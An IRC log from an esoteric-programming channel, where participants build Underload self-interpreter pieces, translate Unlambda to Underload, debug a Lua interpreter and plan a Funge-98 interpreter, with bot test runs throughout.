16:09:49 <elliott> oerjan: no wait
16:09:51 <Phantom__Hoover> olsner, SHE IS STILL NOT IN #HASKELL
16:09:53 <elliott> oerjan: this is something like 1/4th of an Underload self-interpreter
16:10:00 <elliott> oerjan: you see that church numeral?
16:10:06 <oerjan> yes
16:10:08 <elliott> oerjan: how you'd actually do it is like this
16:10:09 <olsner> Phantom__Hoover: maybe this is why she left :/
16:10:18 <elliott> oerjan: the stack is: (stack)(size of stack as church numeral)
16:10:20 <elliott> oerjan: to do *, you do
16:10:44 <elliott> oerjan: ((*)*^) dip subtract1 (~a*)~^()~^
16:10:55 <elliott> oerjan: for any instruction, replace * with the appropriate one, and subtract1 with the appropriate stack effect
16:11:11 <elliott> oerjan: this is huge, it means you can do an Underload self-interpreter *metacircularly*
16:11:20 <elliott> oerjan: also, it invalidates ais' claim that you _cannot_ break ((a)(b)(c)(d)) apart
16:11:24 <elliott> you can if you know the length
16:11:34 <oerjan> um sure
16:11:52 <elliott> oerjan: i was really chuffed about figuring this out, why aren't you excited
16:12:00 <elliott> underload self-interp!!!!
16:12:26 <iconmaster> You can break ((a)(b)(c)(d))- can't you just call ^ twice? or am i not getting it?
16:12:34 <oerjan> well it should obviously be possible in a sense
16:12:36 <elliott> iconmaster: erm, break as in break into multiple pieces
16:12:43 <elliott> oerjan: yes but I think I've just shown that it's even _quite easy_
16:12:55 <iconmaster> elliott: oh, lol. Ill just stop talking now.
16:13:06 <elliott> iconmaster: it's ok :)
16:13:35 <elliott> oerjan: btw if the stack is "(stack) (stack size) (operation to do) (function from stack size to new stack size)", then you can do:
16:14:22 <elliott> (~) dip (*^) 2dip ^(~a*)~^()~^
16:14:45 <elliott> (~)~a*^(*^)~a*~a*^^(~a*)~^()~^
16:14:47 <elliott> oerjan: (~)~a*^(*^)~a*~a*^^(~a*)~^()~^
16:14:53 <elliott> that's
16:15:07 <elliott> stack, size, operation, stack size to new stack size --> new stack, new size
16:15:11 <elliott> where stack is ((a)(b)(c)(d)...)
16:15:16 <elliott> with last elements being top
16:15:42 <oerjan> um to me it's pretty obvious that you can emulate things on a list with length
16:15:58 <elliott> oerjan: well sorry for having a revelation unworthy of the underload god :)
16:16:13 <elliott> oerjan: I was thinking about how to do a self-interpreter and this handles everything apart from () and ^ in one go
16:16:46 <elliott> sheesh :P
16:17:02 <oerjan> i'm not actually following your details, anyway
16:17:13 <elliott> oerjan: what part don't you get? or do you mean you're ignoring :P
16:20:00 <elliott> oerjan: sheehs :|
16:20:19 <oerjan> elliott: um i think you want (~a~*), not (~a*), otherwise you reverse the list
16:20:25 <elliott> er right
16:20:43 <elliott> er are you _sure_
16:20:47 <elliott> (a)(b)(c)(d)()
16:20:49 <elliott> (a)(b)(c)()(d)
16:20:54 <elliott> (a)(b)(c)()((d))
16:20:56 <elliott> oh right yes
16:20:59 <elliott> (~)~a*^(*^)~a*~a*^^(~a~*)~^()~^
16:21:16 <iconmaster> I think my Lua Underload interpreter works, and the Look-and-say sequence program is wrong somehow. The fibbonchi sequence AND the thue-morse sequence works.
16:21:21 <elliott> oerjan: what's subtract for underload numerals?
16:21:30 <elliott> iconmaster: show code again? :p
16:21:33 <elliott> look and say is not broken
16:21:41 <iconmaster> ok ill pastebin iut
16:21:49 <elliott> ^ul ((a)(b)(c))(::**)(*)(SUBTRACT)(~)~a*^(*^)~a*~a*^^(~a~*)~^()~^SS
16:21:49 <fungot> ~a~* ...bad insn!
16:21:54 <elliott> ^ul ((a)(b)(c))(::**)(*)(SUBTRACT)(~)~a*^(*^)~a*~a*^^(~a~*)~^()~^aSaS
16:21:54 <fungot> ~a~* ...bad insn!
16:22:09 <elliott> oerjan: i muuuust knoooow
16:22:29 <iconmaster> http://pastebin.com/qHVsusrg
16:22:56 <oerjan> subtract is a little tricky
16:22:59 <elliott> ^ul (s2)(s1)*S
16:22:59 <fungot> s2s1
16:23:05 <elliott> iconmaster: table.insert(stack,s2..s1)
16:23:06 <elliott> in the * rule
16:23:11 -!- Phantom__Hoover has quit (Quit: Leaving).
16:23:55 <elliott> the rest looks ok, though i can't see whether your ( is right or not based on a quick glance
16:24:09 <elliott> iconmaster: also note that you don't error out when an invalid instruction is executed
16:24:21 <oerjan> hm...
16:24:50 <elliott> oerjan: I only need decrement
16:24:50 <elliott> not subtract
16:25:00 <oerjan> ok that's a bit easier
16:26:36 <elliott> ^ul (aS(:^)S):^
16:26:36 <fungot> (aS(:^)S):^
16:26:48 <elliott> i think (:aSS):aSS is the shortest possible quine
16:29:58 <oerjan> ^ul (!())(!(~(:)~(*)**~)))(:^)(::::****)^^aS
16:29:58 <fungot> ...bad insn!
16:30:01 <oerjan> argh
16:30:21 <oerjan> ^ul (!())(!(~(:)~(*)**~))(:^)(::::****)^^aS
16:30:21 <fungot> (~(:)~(*)**~)
16:30:26 <oerjan> er
16:30:30 <oerjan> ^ul (!())(!(~(:)~(*)**~))(:^)(::::****)^^!aS
16:30:30 <fungot> (::::!()****)
16:30:48 <oerjan> hm maybe not the _optimal_ representation
16:30:55 <oerjan> not to mention it didn't work
16:31:03 * iconmaster back
16:31:09 <oerjan> or wait did it
16:31:48 <oerjan> ^ul (!())(!(!(~(:)~(*)**~)))(:^)(::::****)^^!aS
16:31:48 <fungot> (:::!()***)
16:32:09 <oerjan> off by one error :)
16:32:10 -!- jix has quit (Read error: Operation timed out).
16:32:19 <elliott> ul ((a)(b)(c))(::**)(*)(SUBTRACT)(~)~a*^(*^)~a*~a*^^(~a~*)~^()~^aSa
16:32:24 <iconmaster> elliott: But if I reverse the * then all the OTHER program break... it's probably in the ().
16:32:26 <elliott> ((a)(b)(c))(::**)(*)(DECREMENT)(~)~a*^(*^)~a*~a*^^(~a~*)~^()~^aSa
16:32:27 <elliott> rather
16:32:30 <elliott> will simulate a *
16:32:35 <elliott> iconmaster: possibly.
16:33:45 -!- jix has joined.
16:33:49 <oerjan> ^ul (!())(!(~(:)~(*)**~))(a(!)~*)(::**)^^(:^)(::::****)^^!aS
16:33:49 <fungot> (:!()*)
16:33:54 <elliott> http://esolangs.org/wiki/Slashes has a hueg horizontal scroll
16:35:53 <oerjan> ^ul (!())(!(!(~(:)~(*)**~)))(a(!)~*)(::**)^^(:^)(::::****)^^!aS
16:35:53 <fungot> (!())
16:35:58 <oerjan> oops
16:36:07 <oerjan> ^ul (!())(~(:)~(*)**~)(a(!)~*)(::**)^^(:^)(::::****)^^!aS
16:36:07 <fungot> (::!()**)
16:36:12 <elliott> oerjan: is this meant to be *subtract*?
16:36:14 <elliott> *decrement
16:36:24 <elliott> i thought underload was _elegant_ :)
16:36:37 <iconmaster> Say, what is the look-and-say sequence program SUPPOSED to print out?
16:36:39 <oerjan> yes, i realized while fixing my off by one error that _iterating_ the fix would subtract
16:36:53 <elliott> iconmaster: 1, 11, 21, 1211
16:36:56 <elliott> 111221
16:37:02 <elliott> 312211
16:37:07 <elliott> 13112221
16:37:12 <elliott> 1113213211
16:37:15 <elliott> (done manually)
16:37:16 <iconmaster> elliott: It DEFINATLY isnt doing that.
16:37:32 <elliott> ^ul ((:))(:::***)^S
16:37:32 <fungot> (:)(:)(:)(:)
16:38:18 <elliott> ^ul (:::***):((:))~^~((*))~^SS
16:38:18 <fungot> (*)(*)(*)(*)(:)(:)(:)(:)
16:38:25 <elliott> ^ul (:::***):((:))~^~((*))~^~SS
16:38:25 <fungot> (:)(:)(:)(:)(*)(*)(*)(*)
16:38:32 <elliott> ^ul (:::***):((:))~^S
16:38:32 <fungot> (:)(:)(:)(:)
16:38:38 <elliott> ^ul (:::***):((:))~^(!)*S
16:38:38 <fungot> (:)(:)(:)(:)!
16:38:47 <elliott> ^ul (:::***):((:))~^(!!)*S
16:38:47 <fungot> (:)(:)(:)(:)!!
16:38:51 <elliott> hm
16:38:56 -!- jix has quit (Remote host closed the connection).
16:38:57 <elliott> oerjan: unfortunately i can't use my stack trick to do decrement
16:39:00 -!- jix has joined.
16:39:01 <elliott> because it requires decrement :)
16:39:06 <elliott> to figure out how many :s to pop
16:40:05 <elliott> ^ul (:::***)(:)~^S
16:40:05 <fungot> ::::
16:40:07 -!- jix has quit (Read error: Connection reset by peer).
16:40:14 <elliott> ^ul (:::***)(:)~^(!())*S
16:40:15 <fungot> ::::!()
16:40:21 <elliott> ^ul (:::***):(:)~^(!())*S
16:40:21 <fungot> ::::!()
16:40:22 <elliott> ^ul (:::***):(:)~^(!())*SS
16:40:22 <fungot> ::::!():::***
16:40:38 <elliott> ^ul (:::***):(:)~^(!())*S~(*)~
16:40:38 <fungot> ::::!() ...out of stack!
16:40:43 <iconmaster> elliott: look-and-say only works if * is reversed... but no OTHER program works if * is reversed.
16:40:51 <elliott> iconmaster: o_O
16:40:55 <iconmaster> wierd.
16:40:57 <elliott> ^ul (:::***):(:)~^(!())*~(*)~^
16:40:59 <elliott> ^ul (:::***):(:)~^(!())*~(*)~^SS
16:40:59 <fungot> ****::::!()
16:41:15 <elliott> ^ul (:::***):(*)~^~(:)~^(!())*SS
16:41:15 <fungot> ::::!()****
16:41:19 <elliott> ^ul (:::***):(*)~^~(:)~^(!())**S
16:41:19 <fungot> ****::::!()
16:41:25 <elliott> ^ul (:::***):(*)~^~(:)~^(!())*S
16:41:26 <fungot> ::::!()
16:41:28 <elliott> o_O
16:41:36 <oerjan> iconmaster: have you tested all your individual functions?
16:41:40 <elliott> ^ul (:::***):(:)~^(!())*~(*)~^~SS
16:41:40 <fungot> ::::!()****
16:41:43 <elliott> ^ul (:::***):(:)~^(!())*~(*)~^~*S
16:41:44 <fungot> ****::::!()
16:41:52 <iconmaster> elliott: Wait, the others work too!
16:41:59 <elliott> iconmaster: lol
16:42:15 <elliott> ^ul (:::***):(*)~^~(:)~^SS
16:42:15 <fungot> ::::****
16:42:17 <elliott> ^ul (:::***):(*)~^~(:)~^*S
16:42:17 <fungot> ****::::
16:42:19 <elliott> GAH
16:42:23 <elliott> ^ul (:::***):(:)~^~(*)~^*S
16:42:24 <fungot> ::::****
16:42:29 <elliott> ^ul (:::***):(:)~^(!())*~(*)~^*S
16:42:29 <fungot> ::::!()****
16:42:31 -!- jix has joined.
16:42:32 <elliott> there
16:42:32 <elliott> oerjan: ^
16:42:35 <elliott> decrement
16:42:38 <elliott> ^ul (:::***):(:)~^(!())*~(*)~^*SS
16:42:38 <fungot> ::::!()**** ...out of stack!
16:42:44 <elliott> :(:)~^(!())*~(*)~^*
16:42:52 <elliott> wait no
16:42:58 <elliott> ^ul (:::***):(:)~^(!()!())*~(*)~^*SS
16:42:58 <fungot> ::::!()!()**** ...out of stack!
16:43:01 <elliott> decrement.
16:43:19 <elliott> ^ul ((a)(b)(c))(::**)(*)(:(:)~^(!()!())*~(*)~^*)(~)~a*^(*^)~a*~a*^^(~a~*)~^()~^aSa
16:43:19 <fungot> ...bad insn!
16:43:23 <elliott> >_<
16:43:51 <elliott> oerjan: isn't that decrement?
16:44:35 <oerjan> possibly
16:44:54 <oerjan> um wait !()!() = !()
16:45:00 <elliott> !!()() then
16:45:04 <elliott> you ungrateful scum :|
16:46:28 <elliott> @hoogle (b -> c) -> (t -> a -> b) -> t -> a -> c
16:47:04 <elliott> argh
16:47:15 <Deewiant> (.).(.)
16:47:25 <oerjan> :t (.).(.)
16:47:28 <iconmaster> elliot: I wonder why it broke the FIRST time I reversed * and not the second... 0_o
16:47:30 <oerjan> arghmore
16:47:40 <Deewiant> (.).(.) :: (b -> c) -> (a -> a1 -> b) -> a -> a1 -> c
16:47:57 <elliott> Deewiant: I was hoping someone had given the "titties operator" a more pleasing name.
16:48:03 <elliott> iconmaster: gremlins
16:48:13 <iconmaster> lol! Definatly gremlins.
16:48:15 <Deewiant> (.:), but it's not exported from anywhere I know of.
16:49:51 <impomatic> iconmaster: It turns out that HDNA is another name for Typogenetics http://www.csse.monash.edu.au/hons/projects/1999/Andrew.Snare/thesis.pdf
16:49:59 -!- Lymia_ has changed nick to Lymia.
16:50:00 -!- Lymia has quit (Changing host).
16:50:00 -!- Lymia has joined.
16:50:30 <iconmaster> impomatic: Good find! leme take a look.
16:52:29 <impomatic> iconmaster: There's a section on it in Goedel, Escher, Bach if you have a copy
16:54:50 <elliott> note: your copy may have collapsed into a singularity under its own mass
16:57:16 <Vorpal> elliott, have you read GEB?
16:57:22 <elliott> yes
16:57:29 <Vorpal> elliott, how many pages is it?
16:57:30 <elliott> it's...yeah
16:57:35 <elliott> over 700, below 800
16:57:38 <Vorpal> ah
16:57:49 -!- zeotrope has quit (Ping timeout: 240 seconds).
16:57:51 <elliott> i mostly skipped over the long rewriting proofs of logical statements
16:57:56 <elliott> they were quite dull
16:57:59 <Vorpal> heh
16:58:21 -!- hagb4rd has joined.
16:58:29 <Vorpal> elliott, what is the book actually about. I haven't really understood that from hearing about it
16:59:09 <elliott> It's, er, about.
16:59:09 <elliott> Umm.
16:59:11 <elliott> It's a book.
16:59:13 <elliott> A book with pages.
16:59:15 <elliott> Any questions?
16:59:21 <Vorpal> elliott, yes!
16:59:38 <elliott> Vorpal: Then I refer you to Chris Pressey's review.
16:59:49 <elliott> Vorpal: http://esolangs.org/wiki/User:Chris_Pressey#G.C3.B6del.2C_Escher.2C_Bach:_An_Eternal_Golden_Braid
17:00:11 <Vorpal> elliott, is it a bit about everything? The way that for example science of discworld books can cover everything from evolution and steam engines to Cantor's various proofs
17:00:25 <elliott> Vorpal: More like: it's about nothing.
17:00:29 <Vorpal> elliott, aha
17:00:31 <elliott> WHICH IS EVERYTHING
17:00:33 <elliott> Or something.
17:00:38 <Vorpal> right. I see what you mean
17:00:51 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(:a~(!)~*a(~a)~(*~^)**a*~*^)*~^)~^)~(((a(~)*~a(~^)*a(~^)**)~*a(~a)~(*~^)**~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^
17:00:53 <hagb4rd> o night of pan!
17:01:00 <elliott> what
17:01:06 <elliott> erm, my mouse isn't moving any more
17:01:09 <elliott> that's quite worrying
17:01:11 <oerjan> dammit
17:01:20 <oerjan> oh wait duh
17:01:26 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(:a~(!)~*a(~a)~(*~^)**a*~*^)*~^)~^)~(((a(~)*~a(~^)*a(~^)**)~*a(~a)~(*~^)**~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^(!)~^
17:01:27 <fungot> * ...out of stack!
17:01:47 <oerjan> >_<
17:01:57 <elliott> what are you _doing_
17:02:15 <oerjan> translating unlambda into underload
17:02:35 -!- elliott has quit (Read error: Connection reset by peer).
17:02:42 -!- elliott has joined.
17:02:51 <Vorpal> elliott, he seem to uh... like or dislike A New Kind of Science in that list XD
17:02:53 <Vorpal> hard to tell
17:02:59 <elliott> Vorpal: EVER-LOVIN' MIND
17:03:10 <elliott> oerjan: couldn't you just regexp it with http://esolangs.org/wiki/Underload#Unlambda_to_Underload
17:03:13 <elliott> well
17:03:17 <Vorpal> elliott, I thought everything with Wolfram was basically silly?
17:03:21 <elliott> Vorpal: EVER
17:03:22 <elliott> LOVIN'
17:03:22 <elliott> MIND
17:03:34 <elliott> oerjan: is there an unlambda self-interp that doesn't use d or c? :D
17:03:42 -!- cheater- has quit (Ping timeout: 255 seconds).
17:03:44 <Vorpal> bbl food
17:04:07 <oerjan> i don't know, i know there's another self-interp but haven't really looked at it
17:04:17 <oerjan> actually a couple others, i think
17:04:19 -!- cheater- has joined.
17:06:11 <oerjan> ^ul (*a)::(c)~(d)~^a~*:(. )~^a~(.*)~^a*~*^aSaS
17:06:11 <fungot> (((. (cd))(.*(cd)))) ...out of stack!
17:06:19 <elliott> :D
17:06:32 <elliott> aSSaSSination
17:06:40 <oerjan> dammit i did not mess up that part
17:08:41 <impomatic> This blog seems to cover Typogenetics http://typogenimages.wordpress.com
17:10:56 <elliott> that guy seems a bit obsessed :-)
17:11:08 <elliott> interesting posts though
17:12:29 <Vorpal> <oerjan> dammit i did not mess up that part <-- uh did you want to mess it up?
17:12:40 <elliott> yes
17:13:08 <oerjan> it would have been simpler to fix :D
17:13:29 <oerjan> hm let me check...
17:14:46 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(:a~(!)~*a(~a)~(*~^)**a*~*^)*~^)~^)~((~a(^)*~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^
17:14:52 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(:a~(!)~*a(~a)~(*~^)**a*~*^)*~^)~^)~((~a(^)*~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^(!)~^
17:14:53 <fungot> ...out of stack!
17:15:04 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(:a~(!)~*a(~a)~(*~^)**a*~*^)*~^)~^)~((~a(^)*~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^aSaS
17:15:04 <fungot> (a(~(a(~(a(~((~a(^)*~^)~^)~^)*(~a(:a~(!)~*a(~a)~(*~^)**a*~*^)*~^)~^)~^)*(~a(~a~*((*)S)~*^)*~^)~^)~^)*a(~(a(~((~a(^)*~^)~^)~^)*(~a(:a~(!)~*a(~a)~(*~^)**a*~*^)*~^)~^)~^)*(~a(~a~*(( )S)~*^)*~^)~^) ...out of stack!
17:15:53 <elliott> @unpl (.).(.)
17:15:57 <elliott> argh
17:16:36 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(^)*~^)~^)~((~a(^)*~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^
17:16:42 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(^)*~^)~^)~((~a(^)*~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^(!)~^
17:16:43 <fungot> *
17:17:25 <elliott> Haskell challenge: write
17:17:32 <elliott> minimise :: (Ord b) => (a -> b) -> [a] -> a
17:17:36 <elliott> and
17:17:37 <elliott> maximise :: (Ord b) => (a -> b) -> [a] -> a
17:17:40 <elliott> point-free.
17:17:49 <elliott> (You can use .:)
17:17:53 <elliott> I had
17:17:55 <elliott> maximum .: map
17:17:56 <elliott> and
17:17:58 <elliott> minimise .: map
17:18:01 <elliott> but they return the function result.
17:18:01 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(^)*~^)~^)~(((a(~)*~a(~^)*a(~^)**)~*a(~a)~(*~^)**~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^(!)~^
17:18:01 <fungot>
17:18:43 <oerjan> ok d is working
17:18:45 <elliott> THAT'S NOT AN ATTEMPT
17:20:15 -!- Phantom_Hoover has joined.
17:20:36 -!- cheater- has quit (Ping timeout: 240 seconds).
17:20:53 <oerjan> aren't there *By versions of those functions
17:20:54 <oerjan> ?
17:21:04 <elliott> oerjan: yes, but you want *On... but pretend the By versions don't exist
17:21:48 -!- cheater- has joined.
17:21:57 <elliott> i can't get it elegant even with By anyway
17:22:31 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
17:23:22 <elliott> so anyway, is it any coincidence that the way catbus operates made me realise that Underload is the perfect programming language???
17:23:31 <elliott> I think: NOT
17:26:16 <elliott> olsner: btw I simplified the yes implementation
17:26:24 <elliott> $ catbus 'echo y; tee /dev/fd/2' 2>&1
17:26:26 <elliott> no need for cat
17:27:07 <olsner> but instead you have tee, which does more than cat? :)
17:27:23 <quintopia> not instead
17:27:24 <elliott> olsner: I already had te
17:27:24 <elliott> *tee
17:27:28 <elliott> it was
17:27:35 <elliott> $ catbus '(echo y; cat) | tee /dev/fd/2' 2>&1
17:27:41 <elliott> but then i realised that that was redundant
17:28:03 <elliott> olsner: also, I realised that from a functional perspective,
17:28:12 <elliott> catbus p = p | p | p | p | ...
17:28:13 <elliott> not
17:28:20 <elliott> catbus p = ... | p | p | p | p | ...
17:28:30 <elliott> olsner: because the former is actually equivalent, thanks to the fact that it's the same p
17:28:35 <elliott> even though the "first" p never gets any input
17:28:58 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::(:a~(!)~*a(~a)~(*~^)**a(~^)*a*~*^)~(((a(~)*~a(~^)*a(~^)**)~*a(~a)~(*~^)**~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^(!)~^
17:28:58 <fungot> ...out of stack!
17:29:05 <oerjan> *facepalm*
17:29:15 <elliott> oerjan: you may want to use an implementation with a debugger :)
17:29:52 <oerjan> oh wait of course
17:31:30 <oerjan> ^ul (a(~)~(~^)**a(a)~(*)**~*)::((~a(:a~(!)~*a(~a)~(*~^)**a(~^)*a*~*^)*~^)~^)~(((a(~)*~a(~^)*a(~^)**)~*a(~a)~(*~^)**~^)~^)~^a~*:((~a(~a~*(( )S)~*^)*~^)~^)~^a~((~a(~a~*((*)S)~*^)*~^)~^)~^a*~*^(!)~^
17:31:39 <fungot> * ** *** **** ***** ****** ******* ******** ********* ********** *********** ************ ************* ************** *************** **************** ***************** ****************** ******************* ******************** ********************* ********************** *********************** ************************ ...too much output!
17:31:43 <oerjan> YES!
17:31:52 <elliott> oerjan: :D
17:31:56 * oerjan does a happy dance
17:31:58 <elliott> oerjan: so was that all manual
17:32:02 <elliott> and therefore wasted effort
17:32:08 <elliott> or do you have a program to do it
17:32:20 <elliott> :P
17:32:25 <elliott> (wasted but cool effort, mind)
17:32:26 <oerjan> um it's manual because i'm constructing the translation...
17:32:36 <elliott> oerjan: right. i would construct it by writing a program :P
17:32:37 <oerjan> i thought i'd put it on the wiki
17:32:53 <elliott> oerjan: you have to write a program! because then you can translate a self-interp!
17:32:53 <elliott> wait
17:32:55 <elliott> does it even do c?
17:33:11 <Vorpal>
17:33:14 <Vorpal> err
17:33:24 <oerjan> elliott: that thing above was ``. `cd`.*`cd
17:33:32 <Vorpal> <elliott> oerjan: you may want to use an implementation with a debugger :) <-- You. Suggesting a debugger. What happened to you?
17:33:40 <elliott> oerjan: subtle cough
17:33:46 <elliott> Vorpal: by debugger, i mean it prints a stack trace every instruction
17:33:51 <elliott> debugger, not interactive debugger
17:33:53 <Vorpal> elliott, hm okay
17:34:26 <Vorpal> elliott, so you prefer cfunge over ccbi then? cfunge has a non-interactive debugger. CCBI has an interactive one
17:34:42 <elliott> well it depends on the language. for befunge, the best debugger is a graphical one
17:34:50 <elliott> that shows the ips moving about the field (at reduced/stepping pace)
17:34:57 <elliott> and has all the various info about the code to the right hand side
17:35:01 <elliott> and allows you to modify fungespace to test things
17:35:04 <Vorpal> elliott, with befunge-98 that can be problematic
17:35:06 <Vorpal> due to the size
17:35:15 <elliott> Vorpal: that's why i said stepping
17:35:19 <elliott> you'd also have some key to bounce about the iPs
17:35:19 <quintopia> that is how my spiral ide looked...
17:35:20 <elliott> *IPs
17:35:22 <Vorpal> hm
17:35:25 <elliott> so you could quickly jump there
17:35:31 <elliott> I could easily imagine debugging fungot like that
17:35:32 <fungot> elliott: i've heard that nowadays, fnord from scientistians are more common :) though i like what i've seen online ( while i was finishing up the vector shuffling, some bastards started solving it
17:35:39 <elliott> Vorpal: oh and it'd have to allow going backwards in time
17:35:40 <elliott> obviously
17:36:02 <oerjan> elliott: once each function is constructed the translation is just search-and-replace, plus moving ` postfix, just like with the simpler ski version already on the underload page
17:36:09 <Vorpal> elliott, well okay. So you want an interactive debugger then
17:36:21 <elliott> Vorpal: hardly anything like gdb
17:36:24 <elliott> more like a live evaluation environment
17:36:34 <elliott> also if the debugger's input language is an esolang then i'm all for it
17:36:39 <elliott> oerjan: cool
17:36:40 <Vorpal> elliott, genera-style?
17:36:48 <elliott> Vorpal: no, befunge-debugger-style :P
17:36:54 <Vorpal> well duh
17:36:59 <elliott> hm i vaguely feel like writing a -98 interp now
17:37:28 <quintopia> there should be an easier way to debug multithreaded c programs...
17:37:30 * elliott reads the Fungicide rankings
17:37:33 <quintopia> recommendations?
17:37:33 <elliott> ha ha ccbi is faster than cfunge
17:37:37 <elliott> quintopia: yes: don't use threads
17:37:47 <quintopia> elliott: not an option
17:37:53 <elliott> not using threads is always an option
17:37:58 <elliott> it's the option of sanity
17:38:13 <quintopia> when the project is to implement a scheduler in a prebuilt thread system
17:38:18 <quintopia> not an option
17:38:24 <quintopia> best way to debug?
17:38:26 <elliott> that doesn't sound something very debuggable at all.
17:38:31 <elliott> use printf.
17:38:32 <elliott> and trial and error.
17:38:33 <quintopia> yeah
17:38:34 <elliott> and think.
17:38:38 <quintopia> sucks
17:38:48 <elliott> easier than stepping through a complex, vaguely nondeterministic execution trail
17:39:19 <quintopia> bleh
17:41:06 <elliott> Vorpal: will you eat your hat if I can get an elegant, functional funge-98 interpreter faster than cfunge?
17:41:09 <elliott> god i hope fusion is good
17:41:27 <Vorpal> elliott, I don't believe that is impossible
17:41:34 <Vorpal> elliott, further I don't have a hat
17:41:34 <elliott> Vorpal: but worthy of hat-eating?
17:41:36 <elliott> buy one
17:41:39 <elliott> and eat it
17:41:41 <elliott> if i can
17:41:47 <Vorpal> elliott, no
17:42:02 <elliott> you suck
17:43:17 <Vorpal> elliott, but I promise to eat Gregor's tricorne if he sends it to me and you manage to do this and implement TRDS and every other fingerprint in existence currently
17:43:28 <Vorpal> elliott, and manage to complete it this year
17:43:31 <Vorpal> that is important
17:43:40 <Vorpal> you can't put it off forever you see
17:43:47 <elliott> Vorpal: ah, clearly I will implement no MKRY fingerprints, as an err... memorial!
17:43:54 <Vorpal> elliott, wrong!
17:43:57 <elliott> the fact that this keeps my sanity fully intact is ENTIRELY coincidental
17:44:00 <Vorpal> elliott, you will do them all
17:44:05 <Vorpal> or it isn't fair
17:44:12 <elliott> no! that would be ... insulting!
17:44:23 <Vorpal> elliott, then there is no hat eating that will happen
17:44:30 <elliott> YOU'RE LAME
17:44:34 <Vorpal> elliott, so are you
17:44:38 <elliott> you're lamer
17:44:41 <Vorpal> elliott, TRDS is fun
17:44:43 <elliott> lamerest
17:44:47 <elliott> most enlaming
17:44:54 <elliott> so hey, those bounds things
17:45:01 <elliott> how do the bounds go boundy
17:45:02 <elliott> i mean like
17:45:07 <Vorpal> elliott, why are you introducing yourself to me?
17:45:07 <elliott> i remember some special shrinking thing
17:45:35 <elliott> HOW THE BOUNDS SHRINK
17:45:40 <Vorpal> elliott, what bounds
17:45:44 <elliott> with y
17:45:47 <elliott> you have to report minimum bounds or something
17:45:52 <elliott> by keeping track
17:45:53 <elliott> or something
17:45:58 <Vorpal> elliott, uh with the y instruction?
17:46:02 <elliott> i dunno man
17:46:03 <Vorpal> oh THAT!
17:46:03 <Vorpal> :D
17:46:07 <elliott> hurrrf
17:46:20 <elliott> yeah so like i remember being told that like
17:46:24 <elliott> YOU MUST PLAN FOR THIS
17:46:24 <Vorpal> elliott, you need to track the outer bounding rectangle
17:46:26 <elliott> FROM THE VERY START
17:46:29 <elliott> and i'm like
17:46:29 <elliott> okay how
17:46:31 <Vorpal> elliott, and shrink it as required
17:46:45 <elliott> okay, but that seems like it'd require conditioning on every write
17:46:45 <elliott> well
17:46:49 <Vorpal> elliott, how, well you could recalculate the bounding box around non-space every time
17:46:52 <elliott> only if x or y are in the maximum
17:46:53 <elliott> thing
17:46:54 <elliott> i.e.
17:46:54 <Vorpal> or you could do it smarter
17:46:57 <elliott> only if you remove from a boundary
17:46:57 <elliott> i guess
17:47:06 <elliott> and then i could just scan that one column
17:47:07 <elliott> or row
17:47:12 <elliott> and see if there's any shit left
17:47:13 <elliott> and if so shrink it
17:47:19 <Vorpal> elliott, cfunge tracks a count for each row and column for set cells
17:47:27 <Vorpal> to make this fast
17:48:18 <elliott> right
17:48:30 <Vorpal> elliott, I'm sure there are other ways to do it
17:48:40 <elliott> has mycelium been taken yet?
17:48:41 <elliott> as a name
17:48:45 <Vorpal> think so
17:48:50 <elliott> shiro it is
17:48:51 <Vorpal> wasn't it some other test suite?
17:48:58 <elliott> i think so
17:49:06 <Vorpal> elliott, anyway you also have to beat the speed of jitfunge for proper hat eating!
17:49:11 <elliott> fuck you :P
17:49:25 <elliott> ok, so i'll implement Vector
17:49:27 <Vorpal> elliott, actually hat eating if you get within 2% of it or such :P
17:49:28 <elliott> used for coords, velocity
17:49:41 <elliott> ooh
17:49:45 <elliott> evil, terrible, amazing idea
17:49:49 <Vorpal> what
17:49:55 <elliott> use type-level peano numerals to specify number of dimensions
17:50:03 <Vorpal> haha
17:50:04 -!- Lymia_ has joined.
17:50:05 <elliott> Vector (S (S Z)) is (a,b,c)
17:50:10 <elliott> erm
17:50:11 <elliott> (a,b)
17:50:13 <elliott> Vector (S (S (S Z))) is (a,b,c)
17:50:15 <elliott> :D
17:50:15 <elliott> naw
17:50:20 <Vorpal> elliott, you realise that you only need befunge and trefunge as such
17:50:21 <elliott> I'll just make it 2D for now
17:50:24 <elliott> easy enough to extend it later
17:50:28 <quintopia> "html5 is a nice step towards sanity, if you close your eyes to most of the spec"
17:50:34 -!- Lymia has quit (Disconnected by services).
17:50:35 <Vorpal> hah
17:50:36 <iconmaster> elliott: Want it to be A) fast, and B) impossibly impossible to mkae? do it in ASSEMBLY! (lol,jk)
